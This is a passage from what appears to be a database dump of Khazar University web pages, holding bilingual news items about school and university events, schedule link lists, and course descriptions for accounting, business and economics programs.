dəvətilə Xəzər Universiteti Təhsil fakültəsinin dekanı Ph.D\r\nElza Səmədli “Məktəb-universitet əməkdaşlığı”\r\nLayihəsi çərçivəsində valideyn və müəllim kollektivi ilə görüşdü. Görüşün məqsədi\r\nvalideynlərə kurrikulum sistemini daha yaxından tanış etmək, müəllimlərin çətinliklə\r\nqarşılaşdıqları mövzularda onlara kömək etmək idi. Görüşdə valideynlərə\r\nqaranlıq qalan məsələlərə, ən əsas isə qiymətləndirmədə yaranan problemlərə\r\naydınlıq gətirildi. Sonda isə məsələlərin əsas həllində müəllimlərin böyük rolu\r\nolduğunu qeyd olundu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüş bitdikdən sonra Ph.D Elza Səmədli\r\nmüəllimlərlə ayrıca görüşərək, onları maraqlandıran məsələlər üzərində müzakirə\r\napardı.</p>'),(2352,1431,'az','Yeni rusca-türkcə riyaziyyat lüğəti çapdan çıxdı','2016-cı ildə Gülnarə Cəfərlinin tərtib etdiyi “Rusca-Türkçe Matematik Sözlük” çap olunmuşdur. Kitabın redaktoru və elmi məsləhətçisi Xəzər Universitetinin təsisçisi...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">2016-cı ildə Gülnarə Cəfərlinin tərtib etdiyi “Rusca-Türkçe\r\nMatematik Sözlük” çap olunmuşdur. Kitabın redaktoru və elmi məsləhətçisi Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlıdır.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white;box-sizing:border-box\"\"=\"\">Kitabda redaktor və müəllifin hər ikisindənüç dildə (Azərbaycan, rus, türk)&nbsp; ön söz yer\r\nalmışdır.&nbsp;</p>'),(2353,1431,'en','New Russian-Turkish Mathematics Dictionary Printed','In 2016, the Russian-Turkish Mathematics Dictionary compiled by Gulnara Jafarli was printed. The editor and consultant of the dictionary is Professor Hamlet Isaxanli...','<p>In 2016,\r\nthe&nbsp;<em>Russian-Turkish Mathematics Dictionary</em>&nbsp;compiled by Gulnara\r\nJafarli was printed. The editor and consultant of the dictionary is Professor\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees.</p>\r\n<p>The book’s\r\nforeword (by the editor) and author’s preface were printed in three languages\r\n(Azerbaijani, Russian and Turkish).&nbsp;</p>'),(2582,1553,'en','Meeting in School Number 232','On November 8, 2016, Dr. Isakhan Isakhanli, Vice President for Administration and Student Affairs of Khazar University, participated in a celebration for November 9- National Flag Day at...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nNovember 8, 2016, Dr. Isakhan Isakhanli, Vice President for Administration and\r\nStudent Affairs of Khazar University, participated in a celebration for\r\nNovember 9- National Flag Day at School number 232 in Surakhani District of\r\nBaku. The event included an awards ceremony for the essay contest entitled “My\r\nFlag is My Pride” and the drawing contest called “Rise Up, My Three-Colored\r\nFlag!” Isakhan Isakhanli distributed certificates to the winning pupils.&nbsp;</p>'),(2354,1432,'az','Təhsil fakültəsinin tələbələri üçün təlim-seminar keçirildi','2016-ci il oktyabrın 13-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə inteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində...','<p>2016-ci il\r\noktyabrın 13-də “Əlilliyi olan şəxslərin Azərbaycanın ali təhsil müəssisələrinə\r\ninteqrasiyasının təməlinin qoyulması” (ESFİDİP) Tempus layihəsi çərçivəsində\r\nXəzər Universitetinin Təhsil fakültəsinin tələbələri üçün təlim-seminar\r\nkeçirildi. Təlim-seminar zamanı Xəzər Universiteti Əlilliyi olan Tələbələr üçün\r\nMərkəzin koordinatoru Rima Məmmədova tələbələrə əlillik, əlilliyi olan\r\ntələbələrlə etik davranış və düzgün ünsiyyət, inkluziv təhsil, ESFİDİP Tempus\r\nlayihəsi, Əlilliyi olan Tələbələr üçün Mərkəz və könüllülük haqqında geniş\r\nməlumat verdi.</p>\r\n<p>Təlim-seminarda\r\n30 nəfər tələbə iştirak edirdi.</p>'),(2355,1433,'az','Təsisçi 184 saylı məktəbdə görüş keçirdi','2016-cı il oktyabrın 15-də Xəzər Universitetinin “Potensial məktəb direktorları” kursunu uğurla başa vurmuş və 184 saylı məktəbə direktor vəzifəsinə yeni təyin olunmuş Rəşad Alcanovun...','<p>2016-cı il oktyabrın 15-də Xəzər Universitetinin “Potensial məktəb direktorları” kursunu uğurla başa vurmuş və 184 saylı məktəbə direktor vəzifəsinə yeni təyin olunmuş Rəşad Alcanovun dəvəti ilə universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı və Təhsil fakültəsinin dekanı Dr. Elza Səmədli “Məktəb-universitet əməkdaşlığı” layihəsi çərçivəsində 18 Oktybar – “Müstəqillik Günü” ilə bağlı bayram tədbirində istirak etdilər. Tədbirdə çıxış edən professor Hamlet İsaxanlı Azərbaycan xalqının müstəqillik tarixindən maraqlı faktlara diqqət çəkərək, 1991-ci il oktyabrın 18-də Azərbaycanın yenidən müstəqilliyini bərpa etməsindən danışdı, verdiyi nümunələrlə müstəqilliyin önəmini vurğuladı. Şagirdlərin hazırladığı vətənpərvərlik ruhlu müxtəlif çıxışlarla davam edən tədbirin sonunda professor Hamlet İsaxanlıya 184 saylı məktəbə göstərdiyi diqqət və dəstəyə görə plaket təqdim olundu.</p><p>Professor İsaxanlı da öz kitablarını və Universiteti simvolizə edən müxtəlif hədiyyələri 184 saylı məktəbə bağışladı və Xəzər Universitetinin hər zaman təhsilin inkişafına dəstək verməyə hazır olduğunu qeyd etdi.</p>'),(2356,1432,'en','Training Seminar for Students of School of Education','On October 13, 2016, a training seminar was held for students of the School of Education as part of the “Establishment of a Foundation for the Integration of Disabled People...','<p>On October 13, 2016, a training\r\nseminar was held for students of the School of Education as part of the\r\n“Establishment of a Foundation for the Integration of Disabled People into HEIs\r\nof Azerbaijan” (ESFIDIP) Tempus project. During the training, Rima Mammadova,\r\ncoordinator of the Center for Students with Disabilities, spoke to the students\r\nabout disabilities, ethical treatment of students with disabilities, inclusive\r\neducation, the ESFIDIP Tempus project, and volunteer opportunities in the\r\nCenter for Students with Disabilities.</p>\r\n<p>30 students participated in the\r\ntraining seminar.</p>'),(577,377,'en','Schedule of Midterm Exams Fall 2018','Schedule of Final Exams Spring 2018','<p><a href=\"http://www.khazar.org/files/economics/Examination_rules_ENG.pdf\"><strong>Examination rules</strong></a></p><p><span style=\"font-size:large;color:#000000\"><strong><a href=\"http://www.khazar.org/files/economics/C_Midterm%20schedule_2018%20FALL_30%2010%202018.pdf\">Schedule of Midterm&nbsp;Exams Fall&nbsp;2018&nbsp;(Bachelor and MBA)</a><a href=\"http://www.khazar.org/files/economics/a_Final_Exams_2018_spring_BBA_and_MBA.pdf\"></a><a href=\"http://www.khazar.org/files/economics/Final_Exams_2018_spring_BBA_and_MBA.pdf\"></a><a href=\"http://www.khazar.org/files/economics/Midterm_exam_Spring_2018.pdf\"></a></strong><a href=\"http://www.khazar.org/files/economics/a_2017_fall_final_exams.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_2017_fall_final.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_a4a_midterm_fall_2017.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a4a_midterm_fall_2017.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_2_midterm_2017_fall.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a11_mid_2017_fall.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_mid_2017_fall.pdf\"></a></span></p>'),(578,378,'az','Payız 2018 dərs cədvəli','Yaz 2018 dərs cədvəli','<p><strong style=\"font-size:large\"><strong><a href=\"http://www.khazar.org/files/economics/A_Fall_2018_class_schedule_updated.xlsx\">Payız 2018&nbsp;dərs cədvəli (Bakalavr)</a><a href=\"http://www.khazar.org/files/economics/Class_Schedule_Fall_2018.xlsx\"></a></strong>&nbsp;</strong></p><p><strong style=\"font-size:large\"><a href=\"http://www.khazar.org/files/economics/MBA.%202018%20Fall%20Term%20Schedule.pdf\">Payız&nbsp;2018&nbsp;dərs cədvəli (MBA)</a></strong></p>'),(579,378,'en','Class Schedule Fall 2018','Class Schedule Spring 2018','<p><strong><a href=\"http://www.khazar.org/files/economics/A_Fall_2018_class_schedule_updated.xlsx\">Class Schedule Fall&nbsp;2018,&nbsp;Bachelor (Neftchiler Campus)</a><a href=\"http://www.khazar.org/files/economics/Class_Schedule_Fall_2018.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/as4_2018_spring_class_schedule_son_muellim.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/aa_2018_spring_class_schedule_son.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a1_2018_spring_class_schedule.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a4_2018_spring_class_schedule.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a_Class_Schedule_2017fall.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/A1_Class_schedule_2017_Fall_29.09.2017.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/aaa1_Class_schedule_2017_Fall_29.09.2017.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/aaa_Class_schedule_2017_Fall_29.09.2017.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a_a_Schedule_FALL_2017.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a_Class_Schedule_Fall_2017.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/ECON_schedule_2017_spring.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/economics_2017_spring.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/econ_schedule_2017_spring.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/schedule_2017_spring.xlsx\"></a></strong></p><p><strong><a href=\"http://www.khazar.org/files/economics/MBA.%202018%20Fall%20Term%20Schedule.pdf\">Class Schedule Fall&nbsp;2018, Master (Downtown Campus)</a><a href=\"http://www.khazar.org/files/economics/as4_MBA%20schedule%20Test.pdf\"></a></strong><a href=\"http://www.khazar.org/files/economics/2018_spring_MBA_class_schedule.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a2_MBA%202017_FALL%20TERM%20Schedule.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a1_MBA%202017_FALL%20TERM%20Schedule.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/a_MBA%202017_FALL%20TERM%20Schedule.xlsx\"></a><a href=\"http://www.khazar.org/files/economics/ECON_MBA_Schedule_Spring_2017.xlsx\"></a></p>'),(580,379,'az','Fənlərin təsviri','Fənlərin təsviri','<p><strong>ACC 210: Principles of Accounting&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: BSA 101</strong><br></p><p>This is an introductory course in accounting. It covers such topics as accounting and business environment, translating business activities into accounting information, accounting cycle, merchandising operations, inventory, internal control and cash, receivables, liabilities, assets and intangibles, time value of money and financial statements, using information from accounting system for investment and management decisions.</p><p>&nbsp;</p><p><strong>ACC 310: Financial Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course introduces financial accounting concepts and principles. It is designed to be a combination of both accounting and finance that will lay a strong background for further studies in financial subjects. The course covers the following topics: accounting principles and concepts; balance sheets, accrual vs. cash basis of income measurement; income statement; journals and ledger recording; trial balance, accrual and deferral adjustments, the &nbsp;accounting cycle, sales, cash and accounts receivable; estimating uncorrectable accounts, valuing inventories, ratio and trend analysis, present and future value concepts; liabilities, statements of cash flows, stockholders’ equity, dividends and treasury stock.</p><p>&nbsp;</p><p><strong>ACC 350: Accounting Information Systems (6 credits)</strong></p><p><strong>Prerequisite: ACC 210, BSA 210</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems.</p><p>&nbsp;</p><p><strong>ACC 410: Managerial Accounting&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: FIN 310, ACC 210</strong></p><p>The course covers approaches to providing accounting and processing information for effective management of for-profit and nonprofit organizations.</p><p>&nbsp;</p><p><strong>ACC 415: Statutory Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>The course covers the study of statutory accounts and reporting requirements; domestic auditing standards; and domestic oil and gas accounting requirements.</p><p>&nbsp;</p><p><strong>ACC 420: Financial Reporting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>The course covers analysis of the International Financial Reporting Standards, focusing on revenue and expense recognition and the measurement of assets and liabilities; concepts and theories underlying financial statements; introduction to international reporting standards; balance sheet; income statement, statement of changes in equity; cash flow statement; cash and receivables; inventory; revenue and expense recognition; property, plant and equipment; intangible assets.</p><p>&nbsp;&nbsp;</p><p><strong>ACC 430: International Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 210</strong></p><p>Securities regulation and trading; various national accounting standards; the harmonization of accounting standards internationally; accounting for the translation of transactions and foreign subsidiary financial statements.</p><p>&nbsp;</p><p><strong>ACC 440: Cost Accounting (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 210, FIN 310</strong></p><p>Students study cost accounting, accounts and investments; inventory accounts; manufacturing accounts; and material use variance accounts.</p><p>&nbsp;</p><p><strong>ACC 450: Auditing (6 credits)<br>Prerequisite: ACC 310</strong></p><p>The course develops student’s knowledge of auditing services. Topics include the role of auditing services in society, audit programs planning, design and implementation.</p><p>&nbsp;</p><p><strong>ACC 490: Taxation&nbsp;(6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 310</strong></p><p>This course introduces students to the tax concepts applicable to sole proprietorships, partnerships, corporations, estates, and trusts. Emphasis is placed on differences between tax and financial accounting concepts. In addition, students are exposed to accounting periods and methods, deferred compensation, tax planning, ethical practices, and tax research.</p><p>&nbsp;</p><p><strong>ACC 800: Accounting for Financial Decisions (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This course is designed for graduate students. The course will focus on the financial decision makers. The purpose of this course is to introduce the «basic concepts» of accounting and finance. With knowledge in accounting and the basic elements of finance, one can understand how specific techniques and decision rules can be used. The course covers the following topics: basic accounting concepts, revenue and monetary systems, cost of sales and inventory, non-monetary assets, sources of capital, and strategic investment decisions.</p><p>&nbsp;</p><p><strong>ACC 801: Financial Accounting (6 credits)&nbsp;&nbsp;</strong></p><p><strong>Prerequisites: None</strong></p><p>The course is designed for the graduate students majoring in Economics and Business Administration as a required course. This course will focus on the user of accounting information. The purpose of this course is to introduce the «basic concepts» of accounting. With knowledge in accounting, one can understand how specific techniques and decision rules can be used from accounting records. The course covers the following topics: analyzing transactions; the matching concept and adjusting process; completing the accounting cycle; accounting for different types of businesses; accounting systems, internal controls and cash; receivables; inventories; fixed assets and intangible assets; current liabilities; corporations: organization, capital stock transactions and dividends; corporations: income and taxes, stockholders’ equity and investments in stocks; bonds payable and investments into bonds; statement of cash flows; and financial statement analysis.</p><p>&nbsp;</p><p><strong>ACC 810: Auditing (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>The course provides knowledge important for the students majoring in Accounting and Finance. It includes planning audit, designing audit programs with internal control, audit evidence, audit work papers, cash and marketable securities, accounts receivable, inventories, property, plant and equipment, accounts payable and other liabilities, debt and equity capital losses and auditor’s reports. Casework is practiced.</p><p>&nbsp;</p><p><strong>ACC 840: Management and Cost Accounting (6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>Use of accounting information for internal planning and control purposes; role of accounting in decisions concerning resource allocation, cost and performance analysis, evaluation of business units using data obtained from the accounting system. Use of cost information for operational and strategic control; application of statistical tools and decision models to accounting data for the purpose of facilitating managerial control; identifying cost behavior with respect to managerial decision; measuring and controlling the consumption of resources by a firms products; analyzing product cost systems in diverse production and non-manufacturing settings.</p><p>&nbsp;</p><p><strong>ACC 860: Accounting Information Systems&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course introduces the foundations of accounting information systems, provides knowledge and skills required by accountants as users, managers, designers, and evaluators of information systems. The topics covered include choosing, extracting, and analyzing relevant information to solve business problems, documenting and modeling business processes, developing information systems, and designing and evaluating internal controls in information systems, analyzing and resolving contemporary issues in accounting information systems. This course focuses on the knowledge and skills required providing assurance for information systems for the purpose of managing business risk.</p><p>&nbsp;</p><p><strong>ACC 870: International Accounting Practices (6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801</strong></p><p>This course is designed to study and resolve accounting problems involved in international operations. It encompasses the comparative study of different national accounting systems, the problems caused by the existing differences in practices for international operations, and organizations which have emerged to reconcile differences and to handle international accounting problems.</p><p>&nbsp;</p><p><strong>ACC 880: Advanced Accounting Topics (6 credits)</strong></p><p><strong>Prerequisite: ACC 800 or ACC 801, ACC 840</strong></p><p>This course is specialized in accounting topics including accounting and reporting for business combinations, international accounting and foreign currency issues, partnership accounting and other topics.</p><p>&nbsp;</p><p><strong>BSA 101: Introduction to Business&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>A basic background for the various fields of business; a general survey of the entire field of economics, business and management in the free enterprise system; concepts of business and management functions, organizational considerations, and decision-making processes. Explores areas of specialization in the business world; exposure to business in small-medium-large organizations.</p><p>&nbsp;</p><p><strong>BSA 205: Computer Applications for Economics and Business (6 credits)</strong></p><p><strong>Prerequisite: CMS 101</strong></p><p>This is a practical course on how to use a computer, especially the personal computer, as an economic and business problem-solving tool. The course is based on tools provided by Microsoft Office and plenty of examples of economic and business problems.</p><p>&nbsp;</p><p><strong>BSA 210: Computer Applications in Business&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: CMS 101</strong></p><p>This is a practical course on how to use a computer, especially the personal computer, as a business problem-solving tool. The course is based on tools provided by Microsoft Office and examples from accounting, finance and management courses.</p><p>&nbsp;</p><p><strong>BSA 215: Statistical Methods for Economics and Business (6 credits)</strong></p><p><strong>Prerequisite: MATH 101</strong></p><p>The course builds a foundation in statistics and develops applications of statistical tools to economic analysis. It includes: descriptive statistics, probabilities, estimation, and regression analysis. Cases and statistical packages support the course content.</p><p>&nbsp;</p><p><strong>BSA 250: Business Statistics (8 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: MATH 101</strong></p><p>The course builds a foundation on statistics and develops applications to business decision making. It includes: descriptive statistics, probabilities, estimation, and regression analysis. The course also provides a set of skills for achieving and maintaining statistical process control methods and problem-solving tools. Cases and micro-computer statistical packages support the course content.</p><p>&nbsp;</p><p><strong>BSA 410: Business Analysis&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: BSA 250, MATH 225</strong></p><p>The course combines statistical analysis, modeling and decision making approaches. Topics covered are: data collection, processing, analysis and interpretation; modeling, simulation and decision analysis.</p><p>&nbsp;</p><p><strong>BSA 435: Taxation Policy (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: LAW 305</strong></p><p>The study of fundamental income tax problems in business, investments and personal decisions; tax problems arising for business, corporations; shareholder\'s tax problems; current trends in law and taxation policy; comparative analyses of different countries.</p><p>&nbsp;</p><p><strong>BSA 440:&nbsp;&nbsp;Business Research (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course covers the main research tools applicable in applied business research. Basics of research problem formulation, research proposal, research design, different types of study, data collection and information sources, measurement, quantitative and qualitative data processing, hypothesis testing, data analysis, presentation and reporting, and ethics in business research are the main subjects of the course.</p><p>&nbsp;</p><p><strong>BSA 690: Information Technology for Decisions (6 credits)</strong></p><p><strong>Prerequisite: BSA 210</strong></p><p>The course has the main goal of providing students with applied knowledge in the use of information technology and systems in modern society, to learn how to make use of the most efficient programs in text processing, data management, spreadsheets and communications. Information nets, methods of information services in foreign trade, production management, the banking system (SWIFT), international tourism, and other topics will be examined.</p><p>&nbsp;</p><p><strong>BSA 880: Business Research Methods (6 credits)</strong></p><p><strong>Prerequisite: Consent of instructor</strong></p><p>The course covers the main research tools applicable in applied and theoretical business research. Research problem formulation, research proposal, research design, different types of study, data collection and information sources, measurement, quantitative and qualitative data processing, hypothesis testing, data analysis, presentation and reporting, and ethics in business research are the main subjects of the course.</p><p>&nbsp;</p><p><strong>ECON 101: Introduction to Economics (6 credits)</strong></p><p><strong>Prerequisite: None</strong></p><p>This is an introductory course on the market economy, economic way of thinking. Students should gain knowledge about such market instruments as: demand and supply-aggregation, equilibrium, scarcity, surplus and choices; aggregate demand and supply, government expenditures and income, consumption’s and savings, investments, ways to achieve macroeconomics equilibrium; monetary and fiscal policy in solving problems with inflation, unemployment, investments.</p><p>&nbsp;</p><p><strong>ECON 201: Principles of Microeconomics (8 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: MATH 101, BSA 101</strong></p><p>The course deals with the laws of demand, supply, returns and costs; these basic tools are used to show how prices and outputs are determined in different market situations; perfect (pure) competition, monopoly, monopolistic competition and oligopoly.</p><p>&nbsp;</p><p><strong>ECON 202: Principles of Macroeconomics (6 credits)</strong></p><p><strong>Prerequisite: MATH 101, BSA 101</strong></p><p>The course provides an understanding of the analytic methods of macroeconomics. Students should examine models explaining fluctuations in national income, unemployment, price levels, GNP, monetary issues, limitations and applications of these models.</p><p>&nbsp;</p><p><strong>ECON 211: Economics of Tourism (6 credits)</strong></p><p><strong>Prerequisite: ECON 201</strong></p><p>The course application of the economic principles to the tourism and hospitality industry, supply and demand and determination of prices, the impact of the general state of the economy, GDP, growth and fluctuations of the development on the tourism industry.</p><p>&nbsp;</p><p><strong>ECON 270: Economy of Azerbaijan (6 credits)</strong></p><p><strong>Prerequisite: ECON 101 or BSA 101</strong></p><p>This course provides a historical review of the Azerbaijan economy, examines structure (industrial, organizational) of economy, features of development of each sector in different periods, modern problems of the Azerbaijan economy, transition to the market, privatization, and directions of economic reforms.</p><p>&nbsp;</p><p><strong>ECON 310: Intermediate Microeconomics (6 credits)</strong></p><p><strong>Prerequisite: ECON 101</strong></p><p>This course develops models of the behavior of individual economic units, including consumers, workers, investors, and business firms, and explains how and why these units make economic decisions. Economic behavior in various types of market environments is analyzed. The implications of this behavior for the allocation of resources and for public policy are discussed.</p><p>&nbsp;</p><p><strong>ECON 315: Intermediate Macroeconomics (6 credits)</strong></p><p><strong>Prerequisite: ECON 101</strong></p><p>This course applies the tools of aggregate economic analysis to the problems of the performance of the economy. The course links the theories and data to understand the causes of macroeconomic fluctuations in production, employment, inflation and international economic relations; particular emphasis is placed on macroeconomic policy issues.</p><p>&nbsp;&nbsp;</p><p><strong>ECON 360: International Economic Relations of Azerbaijan (6 credits)</strong></p><p><strong>&nbsp;Prerequisite: ECON 101or BSA 101</strong></p><p>The course covers historical analyses of International Economic Relations of Azerbaijan; trade traditions, participation in financial, industrial and other international organizations; comparative analyses of international relations for different branches of industry and with different countries.</p><p>&nbsp;</p><p><strong>ECON 380: History of Economic Thought (6 credits)</strong></p><p><strong>Prerequisite: ECON 201, ECON 202</strong></p><p>The course covers a historical presentation of the economic doctrines of the physiocratic, classical, neoclassical, historical, Keynesian, and other schools of thought.</p><p>&nbsp;</p><p><strong>ECON 390: World Economy (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course gives to students the main directions in the structure of world economy; world population, industry, agriculture, global problems of the world development such as environment protection, utilizing of the oceans and the space, international cooperation; World economy as a system consisting of various national subsystems, the modeling methods of the world economy development.</p><p>&nbsp;</p><p><strong>ECON 420: Regional Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course provides a study of the development of the Azerbaijan economy and economies of the neighboring countries with an emphasis on the regional cooperation, recent development tendencies, structural changes, performance and institutional patterns.</p><p>&nbsp;</p><p><strong>ECON 425: Environmental Economics and Policy (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>This course is designed to introduce the student to a broad range of contemporary environmental problems and the design of appropriate policy responses. The role of economic development and the political and social forces deter-mining environmental quality is explored. The effectiveness of different environmental policies and regulations are analyzed.</p><p>&nbsp;</p><p><strong>ECON 430: Economics of Entrepreneurship and Innovation&nbsp;(6 credits)</strong></p><p><strong>Prerequisite: ECON 201, ECON 202 or ECON 310, ECON 315</strong></p><p>The purpose of this course is to introduce the analysis of innovation and entrepreneurship. The course will emphasize the shift in economic activity away from the traditional inputs of natural resources, unskilled labor, and capital, to a knowledge-based high-tech economy. Innovation is examined at the macroeconomic, microeconomic and spatial level. The course also examines the relationships between government policies, innovation and entrepreneurship.</p><p>&nbsp;</p><p><strong>ECON 435: Experimental and Applied Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 201 or ECON 310</strong></p><p>This experimental study of economics builds upon the scientific method and the testing of economic theories via computer simulation experiments. Students will gain an understanding of the extent to which basic economic theories predict actual human behavior.</p><p>&nbsp;</p><p><strong>ECON 440: Public Finance (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>The course examines the role of state and local governments in economy, the links between economic analysis and current political issues. Two sides of government budget will be considered: taxation and public expenditures. Optimal Tax Theory will be used as a basic to understand income distribution and evaluation of taxation efficiency. Students will also consider principle programs for public expenditures: public education, health, welfare programs, and social security.</p><p>&nbsp;</p><p><strong>ECON 445: Managerial Economics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON 201 or ECON 310</strong></p><p>This is an introductory course in application of microeconomic principles to business decision-making; Quantitative methods are applied to managerial decisions about pricing, production volume; profit maximization, capital budgeting, risk taking.</p><p>&nbsp;</p><p><strong>ECON 450: Econometrics (6 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: BSA 215 or BSA 250</strong></p><p>Course covers the nature of econometrics, economic models (a simple model, a model for a game of chance), sample statistics; the least squares principle, the correlation coefficient, confidence integrals normal distribution, hypothesis testing; models of experiment, one-way analysis, two-way analysis; the foundation of correlation and regression theory; the linear model, solution of the normal equations, nonlinear relationships; the problem of the time series analysis, elementary methods for the time series description.</p><p>&nbsp;</p><p><strong>ECON 452: Mathematical Economics (6 credits)</strong></p><p><strong>Prerequisite: ECON 201, ECON 202 or ECON 310, ECON 315</strong></p><p>This course provides an introduction to mathematical techniques that are used in economic analysis. Topics covered include differential and integral calculus and matrix algebra. Emphasis is placed on the applications of mathematics to topics in economic theory.</p><p>&nbsp;</p><p><strong>ECON 454: International Economic Organizations (6 credits)</strong></p><p><strong>Prerequisite: ECON 202 or ECON 315</strong></p><p>Among international organizations there are some with special activity and importance for the human community, e.g. economic organizations. Some of them, such as International Monetary Fund, United Nations, GATT, World Bank, etc. are studied from the point of view of their structure, main goals and rules. Analyzing activity of those organizations as a means of promoting international relations is the main approach of the course.</p><p>&nbsp;</p><p><strong>ECON 455: Economic Analysis (6 credits)&nbsp;&nbsp;&nbsp;</strong></p><p><strong>Prerequisite: ECON, ECON 202 or ECON 310, ECON 315</strong></p><p>The course provides background knowledge in macro- and microeconomic analysis. Main topics are demand and supply estimation and 